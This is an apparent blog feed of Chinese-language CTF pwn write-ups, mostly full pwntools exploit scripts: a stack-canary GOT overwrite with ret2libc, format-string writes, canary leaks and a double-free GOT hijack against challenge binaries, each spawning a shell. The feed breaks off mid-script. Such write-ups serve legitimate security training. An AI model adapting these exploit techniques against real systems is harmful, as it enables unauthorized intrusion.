<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>haoo</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>http://example.com/</id>
  <link href="http://example.com/" rel="alternate"/>
  <link href="http://example.com/rss.xml" rel="self"/>
  <rights>All rights reserved 2026, haoo</rights>
  <title>haoo's pwn house</title>
  <updated>2026-04-03T06:17:23.626Z</updated>
  <entry>
    <author>
      <name>haoo</name>
    </author>
    <category term="ctf" scheme="http://example.com/categories/ctf/"/>
    <category term="ctf" scheme="http://example.com/tags/ctf/"/>
    <content>
      <![CDATA[<h1 id="ez-canary"><a href="#ez-canary" class="headerlink" title="ez_canary"></a>ez_canary</h1><p>这道题给了一个client文件和server文件。主要看一下server中的pwn_handler函数与gift函数</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">pwn_handler<br>unsigned __int64 __fastcall pwn_handler(__int64 fd)<br>&#123;<br>  size_t n; // rax<br>  int v3; // [rsp+Ch] [rbp-24h] BYREF<br>  char s[24]; // [rsp+10h] [rbp-20h] BYREF<br>  unsigned __int64 v5; // [rsp+28h] [rbp-8h]<br>  __int64 buf_; // [rsp+30h] [rbp+0h] BYREF<br><br>  v5 = __readfsqword(0x28u);<br>  v3 = 0;<br>  setvbuf(stdin, 0, 2, 0);<br>  setvbuf(stdout, 0, 2, 0);<br>  setvbuf(stderr, 0, 2, 0);<br>  puts(&quot;Do you want to enter other functions?&quot;);<br>  __isoc99_scanf(&quot;%d&quot;, &amp;v3);<br>  strcpy(s, &quot;This is canary!&quot;);<br>  n = strlen(s);<br>  write(1, s, n);<br>  if ( v3 == 1 )<br>    gift();<br>  else<br>    read(0, &amp;buf_, 0x10u);<br>  return __readfsqword(0x28u) ^ v5;<br>&#125;<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">gift<br>unsigned __int64 gift()<br>&#123;<br>  _BYTE buf[56]; // [rsp+0h] [rbp-40h] BYREF<br>  unsigned __int64 v2; // [rsp+38h] [rbp-8h]<br><br>  v2 = __readfsqword(0x28u);<br>  read(0, buf, 0x200u);<br>  return __readfsqword(0x28u) ^ v2;<br>&#125;<br></code></pre></td></tr></table></figure><p>gift函数有明显的栈溢出，且存在canary保护。一开始不知道如何泄漏canary的值，因为只有5次交互，也不能进行canary的爆破，于是打算劫持__stack_chk_fail的got表，将其修改为ret的地址，从而即使检测到canary的值被修改，程序也不会终止退出。最后改完got表之后就是打ret2libc了。</p><p>发现当v3不等于1时，刚好可以修改rbp与返回地址，此时再看一下的gift函数的汇编代码：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">text:0000000000401436                 endbr64<br>.text:000000000040143A                 push    rbp<br>.text:000000000040143B                 mov     rbp, rsp<br>.text:000000000040143E                 sub     rsp, 40h<br>.text:0000000000401442                 mov     rax, fs:28h<br>.text:000000000040144B                 mov     [rbp-8], rax<br>.text:000000000040144F                 xor     eax, eax<br>.text:0000000000401451                 lea     rax, [rbp-40h]<br>.text:0000000000401455                 mov     edx, 200h       ; nbytes<br>.text:000000000040145A                 mov     rsi, rax        ; buf<br>.text:000000000040145D                 mov     edi, 0          ; fd<br>.text:0000000000401462                 call    _read<br>.text:0000000000401467                 nop<br>.text:0000000000401468                 mov     rax, [rbp-8]<br>.text:000000000040146C                 xor     rax, fs:28h<br>.text:0000000000401475                 jz      short locret_40147C<br>.text:0000000000401477                 call    ___stack_chk_fail<br></code></pre></td></tr></table></figure><p>可以看出写入的数据会存放在rbp-0x40处，因此输入的地址应该是target_addr + 0x40，这样相当于直接向target_addr输入数据了。原本打算是直接用__stack_chk_fail的got表(0x404040)作为target_addr，但是发现这样的话会出错，经过测试选择用0x404030作为target_addr。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">p0 = p64(got_addr) + p64(gift_addr)<br>s(p0)<br></code></pre></td></tr></table></figure><p>由于最后调用system(‘&#x2F;bin&#x2F;sh’)的时候需要很大的栈空间，因此打算将关键的payload写在bss段上，这里就又需要修改rbp了</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">p1 = p64(ret)*8 + p64(elf.bss(0x400)) + p64(gift_addr)<br>s(p1)<br></code></pre></td></tr></table></figure><p>通过gift的汇编知道，是在输入数据后才会调用___stack_chk_fail，这里已经先修改了其got表，所以程序不会报错退出。既然成功修改了，后面就可以打ret2libc了，完整exp如下所示：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;amd64&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;)#, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./client&#x27;<br>libc_file=&#x27;../libc-2.31.so&#x27;<br>elf=ELF(&#x27;./server&#x27;)<br>libc=ELF(libc_file)<br>rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;localhost&#x27;<br>    port=9999<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uu64    = lambda data : u64(data.ljust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>#gdb.attach(io)<br>ret = 0x40101a<br>gift_addr = 0x0401451<br>pop_rdi = 0x0401893<br>fini_addr = 0x04018B4<br>got_addr = elf.got[&#x27;__stack_chk_fail&#x27;] - 0x10 + 0x40<br><br>sla(&quot;Do you want to enter other functions?&quot;,b&quot;0&quot;)<br>p0 = p64(got_addr) + p64(gift_addr)<br>s(p0)<br>p1 = p64(ret)*8 + p64(elf.bss(0x400)) + p64(gift_addr)<br>s(p1)<br>pause()<br>p2 = p64(0)*9 + p64(pop_rdi) + p64(elf.got[&#x27;puts&#x27;]) + p64(elf.plt[&#x27;puts&#x27;])<br>s(p2)<br><br>ru(b&#x27;This is canary!\n&#x27;)<br>ru(b&#x27;[Server]: &#x27;)<br>libc_base = uu64(r(6)) - libc.sym[&#x27;puts&#x27;]<br>leak(&#x27;libc_base&#x27;,libc_base)<br>system = libc_base + libc.sym[&#x27;system&#x27;]<br>binsh = libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))<br><br>io.close()<br><br>io = remote(&#x27;localhost&#x27;,9999)<br><br>sla(&quot;Do you want to enter other functions?&quot;,b&quot;0&quot;)<br>p0 = p64(got_addr) + p64(gift_addr)<br>s(p0)<br>p1 = p64(ret)*8 + p64(elf.bss(0x800)) + p64(gift_addr)<br>s(p1)<br>pause()<br>p2 = p64(0)*9 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)<br>s(p2)<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><p>这道题还需注意的是需要添加一下pause()让交互慢一下，否则会有些小问题。</p><h1 id="Onlyfgets"><a href="#Onlyfgets" class="headerlink" title="Onlyfgets"></a>Onlyfgets</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">int __fastcall main(int argc, const char **argv, const char **envp)<br>&#123;<br>  char s[32]; // [rsp+0h] [rbp-20h] BYREF<br><br>  fgets(s, 500, stdin);<br>  return 0;<br>&#125;<br></code></pre></td></tr></table></figure><p>存在栈溢出，只开启了NX保护，got表可写。然后就没有其他什么东西了，因此这题大致的想法就是打ret2dlresolve</p>]]>
    </content>
    <id>http://example.com/2026/03/31/N1CTF-Junior-2026-1-2/</id>
    <link href="http://example.com/2026/03/31/N1CTF-Junior-2026-1-2/"/>
    <published>2026-03-31T09:22:59.549Z</published>
    <summary>
      <![CDATA[<h1 id="ez-canary"><a href="#ez-canary" class="headerlink" title="ez_canary"></a>ez_canary</h1><p>这道题给了一个client文件和server文件。主要看一下server中的pwn_]]>
    </summary>
    <title>N1CTF_Junior_2026_1/2</title>
    <updated>2026-04-03T06:17:23.626Z</updated>
  </entry>
  <entry>
    <author>
      <name>haoo</name>
    </author>
    <category term="ctf" scheme="http://example.com/categories/ctf/"/>
    <category term="ctf" scheme="http://example.com/tags/ctf/"/>
    <content>
      <![CDATA[<h1 id="one-hundred"><a href="#one-hundred" class="headerlink" title="one_hundred"></a>one_hundred</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;i386&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;)#, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./one_hundred&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#libc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2149<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>n_addr = 0x0804A06C<br>printf_got = elf.got[&quot;printf&quot;]<br>system_plt = elf.plt[&quot;system&quot;]<br><br><br>#gdb.attach(io,&quot;b *0x08048642\nc&quot;)<br>p0 = p32(n_addr) + b&quot;%96c%4$hn&quot;<br>sl(p0)<br><br>p1 = fmtstr_payload(4,&#123;printf_got:system_plt&#125;)<br>sl(p1)<br><br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="where-sh"><a href="#where-sh" class="headerlink" title="where_sh"></a>where_sh</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;i386&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;)#, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./where_sh&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#libc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2086<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>bss_addr = 0x0804A06C<br>gets_plt = elf.plt[&quot;gets&quot;]<br>system_plt = elf.plt[&quot;system&quot;]<br><br>p0 = b&quot;%27$p&quot;<br>sl(p0)<br>io.recvuntil(b&quot;0x&quot;)<br>canary = i32(8)<br>leak(&quot;canary&quot;,canary)<br><br>p0 = cyclic(0x5c - 0xc) + p32(canary) + cyclic(0xc) + p32(gets_plt) + p32(system_plt) + p32(bss_addr) + p32(bss_addr)<br>sl(p0)<br>sl(b&quot;/bin/sh\x00&quot;)<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="z99"><a href="#z99" class="headerlink" title="z99"></a>z99</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;amd64&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;)#, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./z99&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#ibc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=1<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2147<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br><br>z99_addr =0x000000000060108C<br><br>gdb.attach(io)<br>p0 = p64(0) * 3 + p64(0x21) + p64(0) + p64(z99_addr)<br>sl(p0)<br>sl(p64(0x11))<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="2free"><a href="#2free" class="headerlink" title="2free"></a>2free</h1><p><img src="/images/PolarCTF2026%E6%98%A5%E5%AD%A3%E8%B5%9B_2free_1.png"></p><p>64位题目，开启了NX与canary保护，是一道堆题目。</p><p><img src="/images/PolarCTF2026%E6%98%A5%E5%AD%A3%E8%B5%9B_2free_2.png"></p><p><img src="/images/PolarCTF2026%E6%98%A5%E5%AD%A3%E8%B5%9B_2free_3.png"></p><p>发现delete函数中进行free后并没有将指针为空，那么这里就存在double free漏洞，且存在shell函数。那么大致的想法就是利用double free将printf的got表修改为shell函数的地址，执行show函数中printf的时候就相当于执行shell函数，从而获取shell了。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;amd64&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;)#, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./2free&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#libc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2106<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>def create(size):<br>    sla(&quot;4.show\n&quot;,b&quot;1&quot;)<br>    sla(&quot;Size: \n&quot;,str(size))<br><br>def edit(index,content):<br>    sla(&quot;4.show\n&quot;,b&quot;2&quot;)<br>    sla(&quot;Index: \n&quot;,str(index))<br>    sla(&quot;Contents: \n&quot;,content)<br><br>def delete(index):<br>    sla(&quot;4.show\n&quot;,b&quot;3&quot;)<br>    sla(&quot;Index: \n&quot;,str(index))<br><br>def show(index):<br>    sl(b&quot;4&quot;)<br>    sl(str(index))<br><br>shell_addr = 0x400C26<br>printf_got_addr = elf.got[&#x27;printf&#x27;]<br>back =printf_got_addr - 22<br><br>create(0x30)<br>create(0x30)<br><br>delete(0)<br>delete(1)<br>delete(0)<br>#gdb.attach(io)<br><br>create(0x30)<br>edit(0,p64(back))<br>create(0x30)<br>create(0x30)<br>create(0x30)<br>content = b&#x27;\x40\x00\x00\x00\x00\x00&#x27; + p64(shell_addr) + b&quot;\x56\x07\x40\x00\x00\x00\x00\x00&quot;<br>edit(5,content)<br>show(5)<br><br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="bank"><a href="#bank" class="headerlink" title="bank"></a>bank</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;i386&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./bank&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#libc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2069<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>money_addr = 0x0804A06C<br><br>p0 = p32(money_addr) + b&quot;%9995c%6$hn&quot;<br>sl(p0)<br><br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="littlecan"><a href="#littlecan" class="headerlink" title="littlecan"></a>littlecan</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;i386&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;)#, terminal=[&#x27;tmux&#x27;, &#x27;splitw&#x27;, &#x27;-h&#x27;])<br><br>#设置是否本地还是远程,并操作、解析相应文件<br>#--------------------------------------------------------------------------------<br>pwn_file=&#x27;./littlecan&#x27;<br>#libc_file=&#x27;&#x27;<br>elf=ELF(pwn_file)<br>#libc=ELF(libc_file)<br>#rop=ROP(libc)<br><br>flag=0<br>if flag:<br>    io=process(pwn_file)<br>else:<br>    ip=&#x27;1.95.36.136&#x27;<br>    port=2109<br>    io=remote(ip,port)<br><br>#设置自定义函数<br>#--------------------------------------------------------------------------------<br>#gdb调试<br>def debug():<br>    #gdb.attach(io)<br>    #gdb.attach(io,&#x27;b *$rebase(0x1234)&#x27;)<br>    #gdb.attach(io,&#x27;b main&#x27;)<br>    pause()<br>#lambda表达式<br>s = lambda data : io.send(data)<br>sa = lambda delim,data : io.sendafter(str(delim), data)<br>sl = lambda data : io.sendline(data)<br>sla = lambda delim,data : io.sendlineafter(str(delim), data)<br>r = lambda num : io.recv(num)<br>rl=lambda : io.recvline()<br>ru = lambda delims, drop = True : io.recvuntil(delims, drop)<br>leak = lambda name,addr : log.success(&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;.format(name, addr))<br>ur32 = lambda data: u32(io.recv(data).rjust(4,b&#x27;\x00&#x27;))<br>ur64 = lambda data : u64(io.recv(data).rjust(8,b&#x27;\x00&#x27;))<br>uul32 = lambda : u32(io.recvuntil(b&#x27;\xf7&#x27;)[-4:].ljust(4,b&#x27;\x00&#x27;))<br>uul64 = lambda : u64(io.recvuntil(b&#x27;\x7f&#x27;)[-6:].ljust(8,b&#x27;\x00&#x27;))<br>i32=lambda data: int(io.recv(data), 16)<br>i64=lambda data: int(io.recv(data), 16)<br>ioi     =   lambda                      : io.interactive()<br>#获取libc函数地址<br>def libc_func_addr(base,func):<br>    return base+libc.sym[&#x27;func&#x27;]<br>#简单的shellcode+orw<br>def shell():<br>    return asm(shellcraft.sh())<br>def orw(flag_file_name,addr,count):<br>    return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))<br><br>#gdb.attach(io)<br>sl(b&quot;\x00\x67&quot;)<br>sl(b&quot;%31$p&quot;)<br><br>io.recvuntil(&quot;0x&quot;)<br>canary = int(io.recv(8), 16)<br>leak(&quot;canary&quot;, canary)<br><br>p0 = cyclic(0x70 - 0xc) + p32(canary) + cyclic(0xc) +p32(0x8048621)<br>sl(p0)<br>#连接<br>#--------------------------------------------------------------------------------<br>ioi()<br></code></pre></td></tr></table></figure><h1 id="sandbox1"><a href="#sandbox1" class="headerlink" title="sandbox1"></a>sandbox1</h1><figure class="highlight plaintext"><table><tr><td class="code"><pre><code class="hljs plaintext">#导入所需库<br>#--------------------------------------------------------------------------------<br>from pwn import*<br>from LibcSearcher import*<br>from ctypes import*<br>from struct import*<br>import time<br><br>#设置context<br>#--------------------------------------------------------------------------------<br>context(arch=&#x27;i386&#x27;, os=&#x27;linux&#x27;, log_level=&#x27;debug&#x27;, 